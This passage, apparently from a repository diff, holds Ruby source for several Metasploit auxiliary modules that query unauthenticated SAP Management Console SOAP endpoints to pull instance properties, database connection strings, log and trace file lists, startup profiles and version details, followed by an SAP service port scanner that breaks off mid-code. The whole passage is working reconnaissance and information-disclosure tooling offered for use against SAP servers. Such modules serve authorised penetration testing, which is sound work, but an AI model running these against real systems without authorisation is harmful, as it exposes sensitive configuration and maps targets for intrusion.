data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl"></' + ns1 + '>' + "\r\n"
|
||||
data << '</SOAP-ENV:Body>' + "\r\n"
|
||||
data << '</SOAP-ENV:Envelope>' + "\r\n\r\n"
|
||||
|
||||
begin
|
||||
res = send_request_raw({
|
||||
'uri' => "/#{datastore['URI']}",
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'headers' =>
|
||||
{
|
||||
'Content-Length' => data.length,
|
||||
'SOAPAction' => '""',
|
||||
'Content-Type' => 'text/xml; charset=UTF-8',
|
||||
}
|
||||
}, 15)
|
||||
|
||||
if res.code == 200
|
||||
body = res.body
|
||||
if body.match(/<property>CentralServices<\/property><propertytype>Attribute<\/propertytype><value>([^<]+)<\/value>/)
|
||||
centralservices = "#{$1}"
|
||||
success = true
|
||||
end
|
||||
if body.match(/<property>SAPSYSTEM<\/property><propertytype>Attribute<\/propertytype><value>([^<]+)<\/value>/)
|
||||
sapsystem = "#{$1}"
|
||||
success = true
|
||||
end
|
||||
if body.match(/<property>SAPSYSTEMNAME<\/property><propertytype>Attribute<\/propertytype><value>([^<]+)<\/value>/)
|
||||
sapsystemname = "#{$1}"
|
||||
success = true
|
||||
end
|
||||
if body.match(/<property>SAPLOCALHOST<\/property><propertytype>Attribute<\/propertytype><value>([^<]+)<\/value>/)
|
||||
saplocalhost = "#{$1}"
|
||||
success = true
|
||||
end
|
||||
if body.match(/<property>INSTANCE_NAME<\/property><propertytype>Attribute<\/propertytype><value>([^<]+)<\/value>/)
|
||||
instancename = "#{$1}"
|
||||
success = true
|
||||
end
|
||||
if body.match(/<property>ICM<\/property><propertytype>NodeURL<\/propertytype><value>([^<]+)<\/value>/)
|
||||
icmurl = "#{$1}"
|
||||
success = true
|
||||
end
|
||||
if body.match(/<property>ABAP DB Connection<\/property><propertytype>Attribute<\/propertytype><value>([^<]+)<\/value>/)
|
||||
dbstring = "#{$1}"
|
||||
success = true
|
||||
end
|
||||
if body.match(/<property>protectedweb Webmethods<\/property><propertytype>Attribute<\/propertytype><value>([^<]+)<\/value>/)
|
||||
protectedweb = "#{$1}"
|
||||
success = true
|
||||
end
|
||||
elsif res.code == 500
|
||||
case res.body
|
||||
when /<faultstring>(.*)<\/faultstring>/i
|
||||
faultcode = "#{$1}"
|
||||
fault = true
|
||||
end
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionError
|
||||
print_error("[SAP] Unable to attempt authentication")
|
||||
return :abort
|
||||
end
|
||||
|
||||
if success
|
||||
print_good("[SAP] Instance Properties Extracted from #{rhost}:#{rport}")
|
||||
if centralservices
|
||||
print_good("Central Services: #{centralservices}")
|
||||
end
|
||||
if sapsystem
|
||||
print_good("SAP System Number: #{sapsystem}")
|
||||
report_note(:host => '#{rhost}',
|
||||
:proto => 'SOAP',
|
||||
:port => '#{rport}',
|
||||
:type => 'SAP',
|
||||
:data => "SAP System Number: #{sapsystem}")
|
||||
end
|
||||
if sapsystemname
|
||||
print_good("SAP System Name: #{sapsystemname}")
|
||||
report_note(:host => '#{rhost}',
|
||||
:proto => 'SOAP',
|
||||
:port => '#{rport}',
|
||||
:type => 'SAP',
|
||||
:data => "SAP System Name: #{sapsystemname}")
|
||||
end
|
||||
if saplocalhost
|
||||
print_good("SAP Localhost: #{saplocalhost}")
|
||||
report_note(:host => '#{rhost}',
|
||||
:proto => 'SOAP',
|
||||
:port => '#{rport}',
|
||||
:type => 'SAP',
|
||||
:data => "SAP Localhost: #{saplocalhost}")
|
||||
end
|
||||
if instancename
|
||||
print_good("Instance Name: #{instancename}")
|
||||
report_note(:host => '#{rhost}',
|
||||
:proto => 'SOAP',
|
||||
:port => '#{rport}',
|
||||
:type => 'SAP',
|
||||
:data => "SAP Instance Name: #{instancename}")
|
||||
end
|
||||
if icmurl
|
||||
print_good("ICM URL: #{icmurl}")
|
||||
report_note(:host => '#{rhost}',
|
||||
:proto => 'SOAP',
|
||||
:port => '#{rport}',
|
||||
:type => 'SAP',
|
||||
:data => "SAP ICM URL: #{icmurl}")
|
||||
end
|
||||
|
||||
if dbstring
|
||||
print_good("DATABASE: #{dbstring}")
|
||||
report_note(:host => '#{rhost}',
|
||||
:proto => 'SOAP',
|
||||
:port => '#{rport}',
|
||||
:type => 'SAP',
|
||||
:data => "SAP dbstring: #{dbstring}")
|
||||
end
|
||||
|
||||
if protectedweb
|
||||
print_good("protectedweb Webmethods: #{protectedweb}")
|
||||
end
|
||||
return
|
||||
elsif fault
|
||||
print_error("[SAP] Errorcode: #{faultcode}")
|
||||
return
|
||||
else
|
||||
print_error("[SAP] failed to identify instance properties")
|
||||
return
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,158 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'SAP Management Console List Logfiles',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => %q{ This module simply attempts to output a list of available logfiles and developer tracefiles through the SAP Management Console SOAP Interface. },
|
||||
'References' =>
|
||||
[
|
||||
# General
|
||||
[ 'URL', 'http://blog.c22.cc' ]
|
||||
],
|
||||
'Author' => [ 'Chris John Riley' ],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(50013),
|
||||
OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']),
|
||||
OptString.new('FILETYPE', [true, 'Specify LOGFILE or TRACEFILE', 'TRACEFILE']),
|
||||
OptString.new('UserAgent', [ true, "The HTTP User-Agent sent in the request",
|
||||
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)' ]),
|
||||
], self.class)
|
||||
register_autofilter_ports([ 50013 ])
|
||||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
res = send_request_cgi({
|
||||
'uri' => "/#{datastore['URI']}",
|
||||
'method' => 'GET',
|
||||
'headers' =>
|
||||
{
|
||||
'User-Agent' => datastore['UserAgent']
|
||||
}
|
||||
}, 25)
|
||||
return if not res
|
||||
|
||||
listfiles(ip)
|
||||
end
|
||||
|
||||
def listfiles(rhost)
|
||||
verbose = datastore['VERBOSE']
|
||||
print_status("[SAP] Connecting to SAP Management Console SOAP Interface on #{rhost}:#{rport}")
|
||||
success = false
|
||||
soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'
|
||||
xsi = 'http://www.w3.org/2001/XMLSchema-instance'
|
||||
xs = 'http://www.w3.org/2001/XMLSchema'
|
||||
sapsess = 'http://www.sap.com/webas/630/soap/features/session/'
|
||||
|
||||
case "#{datastore['FILETYPE']}"
|
||||
when /LOGFILE/i
|
||||
ns1 = 'ns1:ListLogFiles'
|
||||
when /TRACEFILE/i
|
||||
ns1 = 'ns1:ListDeveloperTraces'
|
||||
end
|
||||
|
||||
data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
|
||||
data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="' + soapenv + '" xmlns:xsi="' + xsi + '" xmlns:xs="' + xs + '">' + "\r\n"
|
||||
data << '<SOAP-ENV:Header>' + "\r\n"
|
||||
data << '<sapsess:Session xlmns:sapsess="' + sapsess + '">' + "\r\n"
|
||||
data << '<enableSession>true</enableSession>' + "\r\n"
|
||||
data << '</sapsess:Session>' + "\r\n"
|
||||
data << '</SOAP-ENV:Header>' + "\r\n"
|
||||
data << '<SOAP-ENV:Body>' + "\r\n"
|
||||
data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl"></' + ns1 + '>' + "\r\n"
|
||||
data << '</SOAP-ENV:Body>' + "\r\n"
|
||||
data << '</SOAP-ENV:Envelope>' + "\r\n\r\n"
|
||||
|
||||
begin
|
||||
res = send_request_raw({
|
||||
'uri' => "/#{datastore['URI']}",
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'headers' =>
|
||||
{
|
||||
'Content-Length' => data.length,
|
||||
'SOAPAction' => '""',
|
||||
'Content-Type' => 'text/xml; charset=UTF-8',
|
||||
}
|
||||
}, 30)
|
||||
|
||||
env = []
|
||||
if res.code == 200
|
||||
case res.body
|
||||
when nil
|
||||
# Nothing
|
||||
when /<file>(.*)<\/file>/i
|
||||
body = []
|
||||
body = res.body
|
||||
env =body.scan(/<filename>(.*?)<\/filename><size>(.*?)<\/size><modtime>(.*?)<\/modtime>/i)
|
||||
success = true
|
||||
end
|
||||
elsif res.code == 500
|
||||
case res.body
|
||||
when /<faultstring>(.*)<\/faultstring>/i
|
||||
faultcode = "#{$1}"
|
||||
fault = true
|
||||
end
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionError
|
||||
print_error("[SAP] Unable to attempt authentication")
|
||||
return
|
||||
end
|
||||
|
||||
if success
|
||||
print_good("[SAP] #{datastore['FILETYPE']}: #{env.length} entries extracted from #{rhost}:#{rport}")
|
||||
|
||||
saptbl = Msf::Ui::Console::Table.new(
|
||||
Msf::Ui::Console::Table::Style::Default,
|
||||
'Header' => 'SAP Logfiles',
|
||||
'Prefix' => "\n",
|
||||
'Postfix' => "\n",
|
||||
'Columns' => [ 'Filename', 'Size', 'Date/Time' ]
|
||||
)
|
||||
|
||||
env.each do |output|
|
||||
#print_status("Filename: #{output[0]}\tSize: #{output[1]}\tDate: #{output[2]}")
|
||||
saptbl << [ output[0], output[1], output[2] ]
|
||||
end
|
||||
|
||||
print(saptbl.to_s)
|
||||
|
||||
return
|
||||
|
||||
elsif fault
|
||||
print_error("[SAP] Errorcode: #{faultcode}")
|
||||
return
|
||||
|
||||
else
|
||||
print_error("[SAP] failed to request environment")
|
||||
return
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,158 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'SAP Management Console getStartProfile',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => %q{ This module simply attempts to acces the SAP startup profile through the SAP Management Console SOAP Interface. },
|
||||
'References' =>
|
||||
[
|
||||
# General
|
||||
[ 'URL', 'http://blog.c22.cc' ]
|
||||
],
|
||||
'Author' => [ 'Chris John Riley' ],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(50013),
|
||||
OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']),
|
||||
OptString.new('UserAgent', [ true, "The HTTP User-Agent sent in the request",
|
||||
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)' ]),
|
||||
OptString.new('LFILE', [false, 'Set path to save output to file', '']),
|
||||
], self.class)
|
||||
register_autofilter_ports([ 50013 ])
|
||||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
res = send_request_cgi({
|
||||
'uri' => "/#{datastore['URI']}",
|
||||
'method' => 'GET',
|
||||
'headers' =>
|
||||
{
|
||||
'User-Agent' => datastore['UserAgent']
|
||||
}
|
||||
}, 25)
|
||||
return if not res
|
||||
|
||||
getStartProfile(ip)
|
||||
end
|
||||
|
||||
def getStartProfile(rhost)
|
||||
verbose = datastore['VERBOSE']
|
||||
print_status("[SAP] Connecting to SAP Management Console SOAP Interface on #{rhost}:#{rport}")
|
||||
success = false
|
||||
soapenv ='http://schemas.xmlsoap.org/soap/envelope/'
|
||||
xsi ='http://www.w3.org/2001/XMLSchema-instance'
|
||||
xs ='http://www.w3.org/2001/XMLSchema'
|
||||
sapsess ='http://www.sap.com/webas/630/soap/features/session/'
|
||||
ns1 ='ns1:GetStartProfile'
|
||||
|
||||
data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
|
||||
data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="' + soapenv + '" xmlns:xsi="' + xsi + '" xmlns:xs="' + xs + '">' + "\r\n"
|
||||
data << '<SOAP-ENV:Header>' + "\r\n"
|
||||
data << '<sapsess:Session xlmns:sapsess="' + sapsess + '">' + "\r\n"
|
||||
data << '<enableSession>true</enableSession>' + "\r\n"
|
||||
data << '</sapsess:Session>' + "\r\n"
|
||||
data << '</SOAP-ENV:Header>' + "\r\n"
|
||||
data << '<SOAP-ENV:Body>' + "\r\n"
|
||||
data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl"></' + ns1 + '>' + "\r\n"
|
||||
data << '</SOAP-ENV:Body>' + "\r\n"
|
||||
data << '</SOAP-ENV:Envelope>' + "\r\n\r\n"
|
||||
|
||||
begin
|
||||
res = send_request_raw({
|
||||
'uri' => "/#{datastore['URI']}",
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'headers' =>
|
||||
{
|
||||
'Content-Length' => data.length,
|
||||
'SOAPAction' => '""',
|
||||
'Content-Type' => 'text/xml; charset=UTF-8',
|
||||
}
|
||||
}, 15)
|
||||
|
||||
env = []
|
||||
|
||||
if res.code == 200
|
||||
case res.body
|
||||
when nil
|
||||
# Nothing
|
||||
when /<name>([^<]+)<\/name>/i
|
||||
name = "#{$1}"
|
||||
success = true
|
||||
end
|
||||
|
||||
case res.body
|
||||
when nil
|
||||
# Nothing
|
||||
when /<item>([^<]+)<\/item>/i
|
||||
body = []
|
||||
body = res.body
|
||||
env = body.scan(/<item>([^<]+)<\/item>/i)
|
||||
success = true
|
||||
end
|
||||
|
||||
elsif res.code == 500
|
||||
case res.body
|
||||
when /<faultstring>(.*)<\/faultstring>/i
|
||||
faultcode = "#{$1}"
|
||||
fault = true
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionError
|
||||
print_error("[SAP] Unable to attempt authentication")
|
||||
return :abort
|
||||
end
|
||||
|
||||
if success
|
||||
print_good("[SAP] Startup Profile Extracted: #{name} from #{rhost}:#{rport}")
|
||||
|
||||
if datastore['LFILE'] != ''
|
||||
outputfile = datastore['LFILE'] + "_" + datastore['RHOST']
|
||||
print_good("Writing local file " + outputfile + " in XML format")
|
||||
File.open(outputfile,'ab') do |f|
|
||||
f << res.body
|
||||
end
|
||||
else
|
||||
env.each do |output|
|
||||
print_status("#{output}")
|
||||
end
|
||||
return
|
||||
end
|
||||
|
||||
elsif fault
|
||||
print_error("[SAP] Errorcode: #{faultcode}")
|
||||
return
|
||||
else
|
||||
print_error("[SAP] failed to request environment")
|
||||
return
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,146 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'SAP Management Console Version Detection',
|
||||
'Version' => 'Working Copy',
|
||||
'Description' => %q{ This module simply attempts to identify the version of SAP through the SAP Management Console SOAP Interface. },
|
||||
'References' =>
|
||||
[
|
||||
# General
|
||||
[ 'URL', 'http://blog.c22.cc' ]
|
||||
],
|
||||
'Author' => [ 'Chris John Riley' ],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(50013),
|
||||
OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']),
|
||||
OptString.new('UserAgent', [ true, "The HTTP User-Agent sent in the request",
|
||||
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)' ]),
|
||||
], self.class)
|
||||
register_autofilter_ports([ 50013 ])
|
||||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
res = send_request_cgi({
|
||||
'uri' => "/#{datastore['URI']}",
|
||||
'method' => 'GET',
|
||||
'headers' => {
|
||||
'User-Agent' => datastore['UserAgent']
|
||||
}
|
||||
}, 25)
|
||||
return if not res
|
||||
|
||||
enum_version(ip)
|
||||
end
|
||||
|
||||
def enum_version(rhost)
|
||||
verbose = datastore['VERBOSE']
|
||||
print_status("[SAP] Connecting to SAP Management Console SOAP Interface on #{rhost}:#{rport}")
|
||||
success = false
|
||||
soapenv='http://schemas.xmlsoap.org/soap/envelope/'
|
||||
xsi='http://www.w3.org/2001/XMLSchema-instance'
|
||||
xs='http://www.w3.org/2001/XMLSchema'
|
||||
sapsess='http://www.sap.com/webas/630/soap/features/session/'
|
||||
ns1='ns1:GetVersionInfo'
|
||||
|
||||
data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
|
||||
data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="' + soapenv + '" xmlns:xsi="' + xsi + '" xmlns:xs="' + xs + '">' + "\r\n"
|
||||
data << '<SOAP-ENV:Header>' + "\r\n"
|
||||
data << '<sapsess:Session xlmns:sapsess="' + sapsess + '">' + "\r\n"
|
||||
data << '<enableSession>true</enableSession>' + "\r\n"
|
||||
data << '</sapsess:Session>' + "\r\n"
|
||||
data << '</SOAP-ENV:Header>' + "\r\n"
|
||||
data << '<SOAP-ENV:Body>' + "\r\n"
|
||||
data << '<'+ ns1 + ' xmlns:ns1="urn:SAPControl"></' + ns1 +'>' + "\r\n"
|
||||
data << '</SOAP-ENV:Body>' + "\r\n"
|
||||
data << '</SOAP-ENV:Envelope>' + "\r\n\r\n"
|
||||
|
||||
begin
|
||||
res = send_request_raw({
|
||||
'uri' => "/#{datastore['URI']}",
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'headers' =>
|
||||
{
|
||||
'Content-Length' => data.length,
|
||||
'SOAPAction' => '""',
|
||||
'Content-Type' => 'text/xml; charset=UTF-8',
|
||||
}
|
||||
}, 15)
|
||||
|
||||
if res.code == 200
|
||||
body = res.body
|
||||
if body.match(/<VersionInfo>([^<]+)<\/VersionInfo>/)
|
||||
version = "#{$1}"
|
||||
success = true
|
||||
end
|
||||
if body.match(/[\\\/]sap[\\\/](\w{3})/i)
|
||||
sapsid = "#{$1}"
|
||||
success = true
|
||||
else
|
||||
sapsid = "Unknown"
|
||||
end
|
||||
elsif res.code == 500
|
||||
case res.body
|
||||
when /<faultstring>(.*)<\/faultstring>/i
|
||||
faultcode = "#{$1}"
|
||||
fault = true
|
||||
end
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionError
|
||||
print_error("[SAP #{rhost}] Unable to attempt authentication")
|
||||
return :abort
|
||||
end
|
||||
|
||||
if success
|
||||
print_good("[SAP] Version Number Extracted - #{rhost}:#{rport}")
|
||||
print_good("[SAP] Version: #{version}")
|
||||
print_good("[SAP] SID: #{sapsid.upcase}")
|
||||
report_note(:host => '#{rhost}',
|
||||
:proto => 'SOAP',
|
||||
:port => '#{rport}',
|
||||
:type => 'SAP Version',
|
||||
:data => "SAP Version: #{version}")
|
||||
report_note(:host => '#{rhost}',
|
||||
:proto => 'SOAP',
|
||||
:port => '#{rport}',
|
||||
:type => 'SAP SID',
|
||||
:data => "SAP SID: #{sapsid.upcase}")
|
||||
|
||||
return
|
||||
elsif fault
|
||||
print_error("[SAP] Errorcode: #{faultcode}")
|
||||
return
|
||||
else
|
||||
print_error("[SAP] failed to identify version")
|
||||
return
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,261 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'racket'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::Capture
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'SAP Service Discovery',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Scans for listening SAP services',
|
||||
'Author' => [ 'Chris John Riley' ],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('INSTANCES', [true, "Instance numbers to scan (e.g. 00-05,00-99)", "00-01"]),
|
||||
OptInt.new('TIMEOUT', [true, "The socket connect timeout in milliseconds", 1000]),
|
||||
OptBool.new('VERBOSE', [false, "Display verbose output", false]),
|
||||
OptInt.new('CONCURRENCY', [true, "The number of concurrent ports to check per host", 10]),
|
||||
], self.class)
|
||||
|
||||
deregister_options('RPORT')
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
|
||||
timeout = datastore['TIMEOUT'].to_i
|
||||
|
||||
instances = datastore['INSTANCES']
|
||||
|
||||
# Default ports based on SAP "TCP/IP Ports Used by SAP Applications" Document
|
||||
# http://www.sdn.sap.com/irj/sdn/go/portal/prtroot/docs/library/uuid/4e515a43-0e01-0010-2da1-9bcc452c280b
|
||||
|
||||
def_ports = ['32NN', '33NN', '48NN', '80NN', '36NN', '81NN', '5NN00', '5NN01', '5NN02',
|
||||
'5NN03', '5NN04', '5NN05', '5NN06', '5NN07', '5NN08', '5NN10', '5NN16',
|
||||
'5NN13', '5NN14', '5NN17', '5NN18', '5NN19', '21212', '21213', '59975',
|
||||
'59976', '4238', '4239','4240', '4241', '3299', '3298', '515', '7200',
|
||||
'7210', '7269', '7270', '7575', '5NN15', '39NN', '3909', '4NN00', '8200',
|
||||
'8210', '8220', '8230', '4363', '4444', '4445', '9999', '3NN01', '3NN02',
|
||||
'3NN03', '3NN04', '3NN05', '3NN06', '3NN07', '3NN08', '3NN11', '3NN17',
|
||||
'20003', '20004', '20005', '20006', '20007', '31596', '31597', '31602',
|
||||
'31601', '31604', '2000', '2001', '2002', '8355', '8357', '8351' ,'8352',
|
||||
'8353', '8366', '1090', '1095', '20201', '1099', '1089']
|
||||
ports = []
|
||||
|
||||
# Build ports array from valid instance numbers
|
||||
instances.split(/,/).each do |item|
|
||||
start, stop = item.split(/-/).map do |p|
|
||||
p.to_i
|
||||
end
|
||||
|
||||
start ||= 0
|
||||
stop ||= item.match(/-/) ? 99 : start
|
||||
start, stop = stop, start if stop < start
|
||||
|
||||
start.upto(stop) do |p|
|
||||
ports << p
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
# Sort, and remove dups and invalid instance numbers (00-99 valid)
|
||||
ports.sort.uniq.delete_if do |p|
|
||||
p < 00 or p > 99
|
||||
end
|
||||
|
||||
final_ports = []
|
||||
|
||||
ports.each do |inst|
|
||||
inst = inst.to_s
|
||||
if inst.length < 2
|
||||
inst = '0' +inst
|
||||
end
|
||||
def_ports.each do |dport|
|
||||
if dport.length < 2
|
||||
dport = '0' +dport
|
||||
end
|
||||
|
||||
final_ports << dport.gsub("NN", inst)
|
||||
end
|
||||
end
|
||||
|
||||
ports = final_ports
|
||||
|
||||
if ports.empty?
|
||||
print_error("Error: No valid ports specified")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("[SAP] Beginning service Discovery '#{ip}'\n")
|
||||
|
||||
while(ports.length > 0)
|
||||
t = []
|
||||
r = []
|
||||
begin
|
||||
1.upto(datastore['CONCURRENCY']) do
|
||||
this_port = ports.shift
|
||||
break if not this_port
|
||||
t << framework.threads.spawn("Module(#{self.refname})-#{ip}:#{this_port}", false, this_port) do |port|
|
||||
begin
|
||||
s = connect(false,
|
||||
{
|
||||
'RPORT' => port,
|
||||
'RHOST' => ip,
|
||||
'ConnectTimeout' => (timeout / 1000.0)
|
||||
})
|
||||
#print_status("#{ip}:#{port} - TCP OPEN")
|
||||
case port
|
||||
when /^3299$/
|
||||
service = "SAP Router"
|
||||
when /^3298$/
|
||||
service = "SAP niping (Network Test Program)"
|
||||
when /^32[0-9][0-9]/
|
||||
service = "SAP Dispatcher sapdp" + port.to_s[-2,2]
|
||||
when /^33[0-9][0-9]/
|
||||
service = "SAP Gateway sapgw" + port.to_s[-2,2]
|
||||
when /^48[0-9][0-9]/
|
||||
service = "SAP Gateway [SNC] sapgw" + port.to_s[-2,2]
|
||||
when /^80[0-9][0-9]/
|
||||
service = "SAP ICM HTTP"
|
||||
when /^36[0-9][0-9]/
|
||||
service = "SAP Message Server sapms<SID>" + port.to_s[-2,2]
|
||||
when /^81[0-9][0-9]/
|
||||
service = "SAP Message Server [HTTP]"
|
||||
when /^5[0-9][0-9]00/
|
||||
service = "SAP JAVA EE Dispatcher [HTTP]"
|
||||
when /^5[0-9][0-9]01/
|
||||
service = "SAP JAVA EE Dispatcher [HTTPS]"
|
||||
when /^5[0-9][0-9]02/
|
||||
service = "SAP JAVA EE Dispatcher [IIOP]"
|
||||
when /^5[0-9][0-9]03/
|
||||
service = "SAP JAVA EE Dispatcher [IIOP over SSL]"
|
||||
when /^5[0-9][0-9]04/
|
||||
service = "SAP JAVA EE Dispatcher [P4]"
|
||||
when /^5[0-9][0-9]05/
|
||||
service = "SAP JAVA EE Dispatcher [P4 over HTTP]"
|
||||
when /^5[0-9][0-9]06/
|
||||
service = "SAP JAVA EE Dispatcher [P4 over SSL]"
|
||||
when /^5[0-9][0-9]07/
|
||||
service = "SAP JAVA EE Dispatcher [IIOP]"
|
||||
when /^5[0-9][0-9]08/
|
||||
service = "SAP JAVA EE Dispatcher [Telnet]"
|
||||
when /^5[0-9][0-9]10/
|
||||
service = "SAP JAVA EE Dispatcher [JMS]"
|
||||
when /^5[0-9][0-9]16/
|
||||
service = "SAP JAVA Enq. Replication"
|
||||
when /^5[0-9][0-9]13/
|
||||
service = "SAP StartService [SOAP] sapctrl" +port.to_s[1,2]
|
||||
when /^5[0-9][0-9]14/
|
||||
service = "SAP StartService [SOAP over SSL] sapctrl" +port.to_s[1,2]
|
||||
when /^5[0-9][0-9]1(7|8|9)/
|
||||
service = "SAP Software Deployment Manager"
|
||||
when /^2121(2|3)/
|
||||
service = "SAPinst"
|
||||
when /^5997(5|6)/
|
||||
service = "SAPinst (IBM AS/400 iSeries)"
|
||||
when /^42(3|4)(8|9|0|1$)/
|
||||
service = "SAP Upgrade"
|
||||
when /^515$/
|
||||
service = "SAPlpd"
|
||||
when /^7(2|5)(00|10|69|70|75$)/
|
||||
service = "LiveCache MaxDB (formerly SAP DB)"
|
||||
when /^5[0-9][0-9]15/
|
||||
service = "DTR - Design Time Repository"
|
||||
when /^3909$/
|
||||
service = "ITS MM (Mapping Manager) sapvwmm00_<INST>"
|
||||
when /^39[0-9][0-9]$/
|
||||
service = "ITS AGate sapavw00_<INST>"
|
||||
when /^4[0-9][0-9]00/
|
||||
"IGS Multiplexer"
|
||||
when /^8200$/
|
||||
service = "XI JMS/JDBC/File Adapter"
|
||||
when /^8210$/
|
||||
service = "XI JMS Adapter"
|
||||
when /^8220$/
|
||||
service = "XI JDBC Adapter"
|
||||
when /^8230$/
|
||||
service = "XI File Adapter"
|
||||
when /^4363$/
|
||||
service = "IPC Dispatcher"
|
||||
when /^4444$/
|
||||
service = "IPC Dispatcher"
|
||||
when /^4445$/
|
||||
service = "IPC Data Loader"
|
||||
when /^9999$/
|
||||
"IPC Server"
|
||||
when /^3[0-9][0-9](0|1)(1|2|3|4|5|6|7|8$)/
|
||||
service = "SAP Software Deployment Manager"
|
||||
when /^2000(3|4|5|6|7$)/
|
||||
service = "MDM (Master Data Management)"
|
||||
when /^3159(6|7$)/
|
||||
service = "MDM (Master Data Management)"
|
||||
when /^3160(2|3|4$)/
|
||||
service = "MDM (Master Data Management)"
|
||||
when /^200(0|1|2$)/
|
||||
service = "MDM Server (Master Data Management)"
|
||||
when /^83(5|6)(1|2|3|5|6|7$)/
|
||||
service = "MDM Server (Master Data Management)"
|
||||
when /^109(0|5$)/
|
||||
service = "Content Server / Cache Server"
|
||||
when /^20201$/
|
||||
service = "CRM - Central Software Deployment Manager"
|
||||
when /^10(8|9)9$/
|
||||
service = "PAW - Performance Assessment Workbench"
|
||||
else
|
||||
service = "Unknown Service"
|
||||
end
|
||||
print_good("#{ip}:#{port}\t - #{service} OPEN")
|
||||
|
||||
report_note(:host => '#{ip}',
|
||||
:proto => 'TCP',
|
||||
:port => '#{port}',
|
||||
:type => 'SAP',
|
||||
:data => "#{service}")
|
||||
|
||||
r << [ip,port,"open"]
|
||||
rescue ::Rex::ConnectionRefused
|
||||
print_status("#{ip}:#{port}\t - TCP closed") if datastore['VERBOSE']
|
||||
r << [ip,port,"closed"]
|
||||
